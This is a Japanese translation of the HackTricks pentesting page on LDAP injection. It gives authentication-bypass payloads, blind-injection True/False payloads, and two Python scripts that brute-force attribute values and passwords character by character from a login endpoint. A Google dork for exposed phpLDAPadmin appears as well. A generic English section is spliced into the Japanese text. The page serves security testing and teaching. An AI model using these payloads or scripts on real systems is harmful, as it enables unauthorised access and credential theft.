# LDAPインジェクション ## LDAPインジェクション
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 * **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 * [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 * [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に**参加**するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。 * **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出**してください。
\ **バグバウンティのヒント**: **Intigriti**に**サインアップ**してください。これは、ハッカーによって作成されたプレミアムな**バグバウンティプラットフォーム**です!今すぐ[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)に参加して、最大**$100,000**のバウンティを獲得しましょう! {% embed url="https://go.intigriti.com/hacktricks" %} ## LDAPインジェクション ### **LDAP** **LDAPとは何かを知りたい場合は、次のページにアクセスしてください:** {% content-ref url="../network-services-pentesting/pentesting-ldap.md" %} [pentesting-ldap.md](../network-services-pentesting/pentesting-ldap.md) {% endcontent-ref %} **LDAPインジェクション**は、ユーザーの入力に基づいて**LDAPステートメント**を構築する**Web**ベースのアプリケーションを**悪用**するための攻撃です。アプリケーションがユーザーの入力を適切に**サニタイズ**しない場合、ローカルプロキシを使用してLDAPステートメントを変更することが可能です。 {% file src="../.gitbook/assets/en-blackhat-europe-2008-ldap-injection-blind-ldap-injection.pdf" %} **フィルター** = ( filtercomp )\ **Filtercomp** = and / or / not / item\ **And** = & filterlist\ **Or** = |filterlist\ **Not** = ! filter\ **Filterlist** = 1\*filter\ **Item**= simple / present / substring\ **Simple** = attr filtertype assertionvalue\ **Filtertype** = _'=' / '\~=' / '>=' / '<='_\ **Present** = attr = \*\ **Substring** = attr ”=” \[initial] \* \[final]\ **Initial** = assertionvalue\ **Final** = assertionvalue\ **(&)** = 絶対的なTRUE\ **(|)** = 絶対的なFALSE 例:\ `(&(!(objectClass=Impresoras))(uid=s*))`\ `(&(objectClass=user)(uid=*))` データベースにアクセスできるため、さまざまなタイプの情報が含まれている可能性があります。 **OpenLDAP**:2つのフィルタが到着した場合、最初のフィルタのみが実行されます。\ **ADAMまたはMicrosoft LDS**:2つのフィルタがあるとエラーが発生します。\ **SunOne Directory Server 5.0**:両方のフィルタが実行されます。 **フィルタを正しい構文で送信することは非常に重要です。そうしないとエラーが発生します。1つのフィルタのみを送信する方が良いです。** フィルタは`&`または`|`で始まる必要があります。\ 例:`(&(directory=val1)(folder=public))` `(&(objectClass=VALUE1)(type=Epson*))`\ `VALUE1 = *)(ObjectClass=*))(&(objectClass=void` 次に:`(&(objectClass=`**`*)(ObjectClass=*))`**が最初のフィルタ(実行されるフィルタ)になります。 ### ログインバイパス LDAPはパスワードを保存するためにいくつかの形式をサポートしています:クリア、md5、smd5、sh1、sha、crypt。したがって、パスワードに何を挿入してもハッシュ化される可能性があります。 ```bash user=* password=* --> (&(user=*)(password=*)) # The asterisks are great in LDAPi ``` ```bash user=*)(& password=*)(& --> (&(user=*)(&)(password=*)(&)) ``` ```bash user=*)(|(& pass=pwd) --> (&(user=*)(|(&)(pass=pwd)) ``` ```bash user=*)(|(password=* password=test) --> (&(user=*)(|(password=*)(password=test)) ``` ```bash user=*))%00 pass=any --> (&(user=*))%00 --> Nothing more is executed ``` ```bash user=admin)(&) password=pwd --> (&(user=admin)(&))(password=pwd) #Can through an error ``` ```bash username = admin)(!(&(| pass = any)) --> (&(uid= admin)(!(& (|) (webpassword=any)))) —> As (|) is FALSE then the user is admin and the password check is True. ``` ```bash username=* password=*)(& --> (&(user=*)(password=*)(&)) ``` ```bash username=admin))(|(| password=any --> (&(uid=admin)) (| (|) (webpassword=any)) ``` #### リスト * [LDAP\_FUZZ](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/LDAP%20Injection/Intruder/LDAP\_FUZZ.txt) * [LDAP属性](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/LDAP%20Injection/Intruder/LDAP\_attributes.txt) * [LDAP PosixAccount属性](https://tldp.org/HOWTO/archived/LDAP-Implementation-HOWTO/schemas.html) ### 盲目的なLDAPインジェクション データが返されるかどうかを確認し、可能な盲目的なLDAPインジェクションを確認するために、FalseまたはTrueの応答を強制することができます。 ```bash #This will result on True, so some information will be shown Payload: *)(objectClass=*))(&objectClass=void Final query: (&(objectClass= *)(objectClass=*))(&objectClass=void )(type=Pepi*)) ``` ```bash #This will result on True, so no information will be returned or shown Payload: void)(objectClass=void))(&objectClass=void Final query: (&(objectClass= void)(objectClass=void))(&objectClass=void )(type=Pepi*)) ``` #### データのダンプ ASCII文字、数字、および記号を繰り返し処理することができます: ```bash (&(sn=administrator)(password=*)) : OK (&(sn=administrator)(password=A*)) : KO (&(sn=administrator)(password=B*)) : KO ... (&(sn=administrator)(password=M*)) : OK (&(sn=administrator)(password=MA*)) : KO (&(sn=administrator)(password=MB*)) : KO ... ``` ### スクリプト #### 有効なLDAPフィールドを特定する LDAPオブジェクトには、**デフォルトでいくつかの属性が含まれています**。これらの属性を使用して情報を保存することができます。**その情報を抽出するために、すべての属性をブルートフォースで試す**ことができます。[**ここでデフォルトのLDAP属性のリスト**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/LDAP%20Injection/Intruder/LDAP\_attributes.txt)を見つけることができます。 ```python #!/usr/bin/python3 import requests import string from time import sleep import sys proxy = { "http": "localhost:8080" } url = "http://10.10.10.10/login.php" alphabet = string.ascii_letters + string.digits + "_@{}-/()!\"$%=^[]:;" attributes = ["c", "cn", "co", "commonName", "dc", "facsimileTelephoneNumber", "givenName", "gn", "homePhone", "id", "jpegPhoto", "l", "mail", "mobile", "name", "o", "objectClass", "ou", "owner", "pager", "password", "sn", "st", "surname", "uid", "username", "userPassword",] for attribute in attributes: #Extract all attributes value = "" finish = False while not finish: for char in alphabet: #In each possition test each possible printable char query = f"*)({attribute}={value}{char}*" data = {'login':query, 'password':'bla'} r = requests.post(url, data=data, proxies=proxy) sys.stdout.write(f"\r{attribute}: {value}{char}") #sleep(0.5) #Avoid brute-force bans if "Cannot login" in r.text: value += str(char) break if char == alphabet[-1]: #If last of all the chars, then, no more chars in the value finish = True print() ``` #### **特殊なブラインドLDAPインジェクション("\*"なし)** ------------------------------------------------------------------------ ##### **Introduction** ------------------------------------------------------------------------ LDAP (Lightweight Directory Access Protocol) is a protocol used to access and manage directory information services. It is commonly used for authentication and authorization purposes in web applications. LDAP injection is a type of attack where an attacker can manipulate LDAP queries to retrieve unauthorized information or perform unauthorized actions. In a blind LDAP injection attack, the attacker does not receive any error messages or visible responses from the server, making it more difficult to detect. In this section, we will discuss a special blind LDAP injection technique that does not require the use of the wildcard character "\*". ------------------------------------------------------------------------ ##### **Exploiting Blind LDAP Injection** ------------------------------------------------------------------------ Blind LDAP injection attacks can be used to extract sensitive information from an LDAP server. The attacker can craft malicious input that alters the behavior of the LDAP query and retrieves unauthorized data. To exploit blind LDAP injection without using the wildcard character "\*", the attacker can use the following technique: 1. Identify the vulnerable input: The first step is to identify the input that is vulnerable to LDAP injection. This can be any user-controlled input that is used in an LDAP query. 2. Determine the LDAP query structure: The attacker needs to understand the structure of the LDAP query in order to manipulate it. This can be done by analyzing the application's code or by intercepting and analyzing the network traffic. 3. Use boolean-based blind techniques: Instead of using the wildcard character "\*", the attacker can use boolean-based blind techniques to infer information from the LDAP server. This involves crafting input that will result in a true or false condition, depending on the injected payload. 4. Exploit the vulnerability: Once the attacker has crafted the malicious input, they can inject it into the vulnerable parameter and observe the behavior of the LDAP query. By carefully analyzing the responses from the server, the attacker can extract sensitive information. ------------------------------------------------------------------------ ##### **Preventing Blind LDAP Injection** ------------------------------------------------------------------------ To prevent blind LDAP injection attacks, it is important to implement proper input validation and sanitization techniques. Here are some best practices to follow: - Input validation: Validate and sanitize all user-controlled input before using it in an LDAP query. This can include input from forms, cookies, headers, or any other user-supplied data. - Parameterized queries: Use parameterized queries or prepared statements to build LDAP queries. This helps to prevent the injection of malicious input. - Least privilege principle: Ensure that the LDAP user account used by the application has the least privileges necessary to perform its intended functions. This can help limit the impact of a successful LDAP injection attack. - Regular security updates: Keep the LDAP server and any related software up to date with the latest security patches. This helps to mitigate any known vulnerabilities that could be exploited. By following these best practices, you can significantly reduce the risk of blind LDAP injection attacks and protect your application's sensitive data. ```python #!/usr/bin/python3 import requests, string alphabet = string.ascii_letters + string.digits + "_@{}-/()!\"$%=^[]:;" flag = "" for i in range(50): print("[i] Looking for number " + str(i)) for char in alphabet: r = requests.get("http://ctf.web??action=dir&search=admin*)(password=" + flag + char) if ("TRUE CONDITION" in r.text): flag += char print("[+] Flag: " + flag) break ``` ### Google ドークス Google ドークスは、Google 検索エンジンを使用して、特定の情報を見つけるための特殊な検索クエリです。これは、ウェブサイトやオンラインデータベースに対して効果的な情報収集手法として使用されます。Google ドークスは、ウェブサイトの脆弱性やセキュリティの問題を特定するためにも使用されます。 以下にいくつかの一般的な Google ドークスの例を示します。 - `site:`:特定のドメイン内で検索します。例えば、`site:example.com` は、example.com ドメイン内のすべてのページを検索します。 - `intitle:`:特定のキーワードがタイトルに含まれるページを検索します。例えば、`intitle:login` は、ページのタイトルに "login" というキーワードが含まれるページを検索します。 - `inurl:`:特定のキーワードが URL 内に含まれるページを検索します。例えば、`inurl:admin` は、URL 内に "admin" というキーワードが含まれるページを検索します。 これらのドークスを使用することで、特定の情報を見つけるための効果的な手段を得ることができます。ただし、個人情報や機密情報を検索する際には、法的な制約や倫理的な考慮事項に留意する必要があります。 ```bash intitle:"phpLDAPadmin" inurl:cmd.php ``` ### 追加のペイロード {% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection" %} \ **バグバウンティのヒント**: **ハッカーによって作成されたプレミアムなバグバウンティプラットフォーム**である**Intigriti**に**サインアップ**してください!今すぐ[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)に参加して、最大**$100,000**のバウンティを獲得しましょう! {% embed url="https://go.intigriti.com/hacktricks" %}
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 * **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 * [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 * [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** * **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**